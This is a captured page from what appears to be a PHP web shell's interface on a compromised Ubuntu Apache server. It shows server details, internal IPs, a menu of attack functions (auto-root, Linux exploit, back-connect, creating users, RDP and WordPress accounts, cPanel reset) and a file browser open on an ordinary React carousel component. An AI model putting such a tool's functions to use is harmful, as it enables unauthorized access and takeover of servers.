Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
src /
components /
ui /
[ HOME SHELL ]
Name
Size
Permission
Action
accordion.tsx
1.93
KB
-rw-r--r--
alert-dialog.tsx
4.21
KB
-rw-r--r--
alert.tsx
1.51
KB
-rw-r--r--
aspect-ratio.tsx
143
B
-rw-r--r--
avatar.tsx
1.33
KB
-rw-r--r--
badge.tsx
1.06
KB
-rw-r--r--
breadcrumb.tsx
2.62
KB
-rw-r--r--
button.tsx
1.8
KB
-rw-r--r--
calendar.tsx
2.5
KB
-rw-r--r--
card.tsx
1.74
KB
-rw-r--r--
carousel.tsx
6.1
KB
-rw-r--r--
chart.tsx
9.75
KB
-rw-r--r--
checkbox.tsx
1.03
KB
-rw-r--r--
collapsible.tsx
320
B
-rw-r--r--
command.tsx
4.71
KB
-rw-r--r--
context-menu.tsx
7.02
KB
-rw-r--r--
dialog.tsx
3.67
KB
-rw-r--r--
drawer.tsx
2.87
KB
-rw-r--r--
dropdown-menu.tsx
7.09
KB
-rw-r--r--
form.tsx
3.92
KB
-rw-r--r--
hover-card.tsx
1.17
KB
-rw-r--r--
input-otp.tsx
2.12
KB
-rw-r--r--
input.tsx
799
B
-rw-r--r--
label.tsx
696
B
-rw-r--r--
menubar.tsx
7.68
KB
-rw-r--r--
navigation-menu.tsx
4.91
KB
-rw-r--r--
pagination.tsx
2.62
KB
-rw-r--r--
popover.tsx
1.21
KB
-rw-r--r--
progress.tsx
765
B
-rw-r--r--
radio-group.tsx
1.41
KB
-rw-r--r--
resizable.tsx
1.66
KB
-rw-r--r--
scroll-area.tsx
1.57
KB
-rw-r--r--
select.tsx
5.44
KB
-rw-r--r--
separator.tsx
698
B
-rw-r--r--
sheet.tsx
4.1
KB
-rw-r--r--
sidebar.tsx
22.3
KB
-rw-r--r--
skeleton.tsx
234
B
-rw-r--r--
slider.tsx
1.04
KB
-rw-r--r--
sonner.tsx
877
B
-rw-r--r--
switch.tsx
1.12
KB
-rw-r--r--
table.tsx
2.63
KB
-rw-r--r--
tabs.tsx
1.85
KB
-rw-r--r--
textarea.tsx
751
B
-rw-r--r--
toast.tsx
4.69
KB
-rw-r--r--
toaster.tsx
730
B
-rw-r--r--
toggle-group.tsx
1.67
KB
-rw-r--r--
toggle.tsx
1.38
KB
-rw-r--r--
tooltip.tsx
1.13
KB
-rw-r--r--
use-toast.ts
82
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : carousel.tsx
import * as React from "react"; import useEmblaCarousel, { type UseEmblaCarouselType } from "embla-carousel-react"; import { ArrowLeft, ArrowRight } from "lucide-react"; import { cn } from "@/lib/utils"; import { Button } from "@/components/ui/button"; type CarouselApi = UseEmblaCarouselType[1]; type UseCarouselParameters = Parameters<typeof useEmblaCarousel>; type CarouselOptions = UseCarouselParameters[0]; type CarouselPlugin = UseCarouselParameters[1]; type CarouselProps = { opts?: CarouselOptions; plugins?: CarouselPlugin; orientation?: "horizontal" | "vertical"; setApi?: (api: CarouselApi) => void; }; type CarouselContextProps = { carouselRef: ReturnType<typeof useEmblaCarousel>[0]; api: ReturnType<typeof useEmblaCarousel>[1]; scrollPrev: () => void; scrollNext: () => void; canScrollPrev: boolean; canScrollNext: boolean; } & CarouselProps; const CarouselContext = React.createContext<CarouselContextProps | null>(null); function useCarousel() { const context = React.useContext(CarouselContext); if (!context) { throw new Error("useCarousel must be used within a <Carousel />"); } return context; } const Carousel = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement> & CarouselProps>( ({ orientation = "horizontal", opts, setApi, plugins, className, children, ...props }, ref) => { const [carouselRef, api] = useEmblaCarousel( { ...opts, axis: orientation === "horizontal" ? "x" : "y", }, plugins, ); const [canScrollPrev, setCanScrollPrev] = React.useState(false); const [canScrollNext, setCanScrollNext] = React.useState(false); const onSelect = React.useCallback((api: CarouselApi) => { if (!api) { return; } setCanScrollPrev(api.canScrollPrev()); setCanScrollNext(api.canScrollNext()); }, []); const scrollPrev = React.useCallback(() => { api?.scrollPrev(); }, [api]); const scrollNext = React.useCallback(() => { api?.scrollNext(); }, [api]); const handleKeyDown = React.useCallback( (event: React.KeyboardEvent<HTMLDivElement>) => { if (event.key === "ArrowLeft") { event.preventDefault(); scrollPrev(); } else if (event.key === "ArrowRight") { event.preventDefault(); scrollNext(); } }, [scrollPrev, scrollNext], ); React.useEffect(() => { if (!api || !setApi) { return; } setApi(api); }, [api, setApi]); React.useEffect(() => { if (!api) { return; } onSelect(api); api.on("reInit", onSelect); api.on("select", onSelect); return () => { api?.off("select", onSelect); }; }, [api, onSelect]); return ( <CarouselContext.Provider value={{ carouselRef, api: api, opts, orientation: orientation || (opts?.axis === "y" ? "vertical" : "horizontal"), scrollPrev, scrollNext, canScrollPrev, canScrollNext, }} > <div ref={ref} onKeyDownCapture={handleKeyDown} className={cn("relative", className)} role="region" aria-roledescription="carousel" {...props} > {children} </div> </CarouselContext.Provider> ); }, ); Carousel.displayName = "Carousel"; const CarouselContent = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>( ({ className, ...props }, ref) => { const { carouselRef, orientation } = useCarousel(); return ( <div ref={carouselRef} className="overflow-hidden"> <div ref={ref} className={cn("flex", orientation === "horizontal" ? "-ml-4" : "-mt-4 flex-col", className)} {...props} /> </div> ); }, ); CarouselContent.displayName = "CarouselContent"; const CarouselItem = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>( ({ className, ...props }, ref) => { const { orientation } = useCarousel(); return ( <div ref={ref} role="group" aria-roledescription="slide" className={cn("min-w-0 shrink-0 grow-0 basis-full", orientation === "horizontal" ? "pl-4" : "pt-4", className)} {...props} /> ); }, ); CarouselItem.displayName = "CarouselItem"; const CarouselPrevious = React.forwardRef<HTMLButtonElement, React.ComponentProps<typeof Button>>( ({ className, variant = "outline", size = "icon", ...props }, ref) => { const { orientation, scrollPrev, canScrollPrev } = useCarousel(); return ( <Button ref={ref} variant={variant} size={size} className={cn( "absolute h-8 w-8 rounded-full", orientation === "horizontal" ? "-left-12 top-1/2 -translate-y-1/2" : "-top-12 left-1/2 -translate-x-1/2 rotate-90", className, )} disabled={!canScrollPrev} onClick={scrollPrev} {...props} > <ArrowLeft className="h-4 w-4" /> <span className="sr-only">Previous slide</span> </Button> ); }, ); CarouselPrevious.displayName = "CarouselPrevious"; const CarouselNext = React.forwardRef<HTMLButtonElement, React.ComponentProps<typeof Button>>( ({ className, variant = "outline", size = "icon", ...props }, ref) => { const { orientation, scrollNext, canScrollNext } = useCarousel(); return ( <Button ref={ref} variant={variant} size={size} className={cn( "absolute h-8 w-8 rounded-full", orientation === "horizontal" ? "-right-12 top-1/2 -translate-y-1/2" : "-bottom-12 left-1/2 -translate-x-1/2 rotate-90", className, )} disabled={!canScrollNext} onClick={scrollNext} {...props} > <ArrowRight className="h-4 w-4" /> <span className="sr-only">Next slide</span> </Button> ); }, ); CarouselNext.displayName = "CarouselNext"; export { type CarouselApi, Carousel, CarouselContent, CarouselItem, CarouselPrevious, CarouselNext };
Close
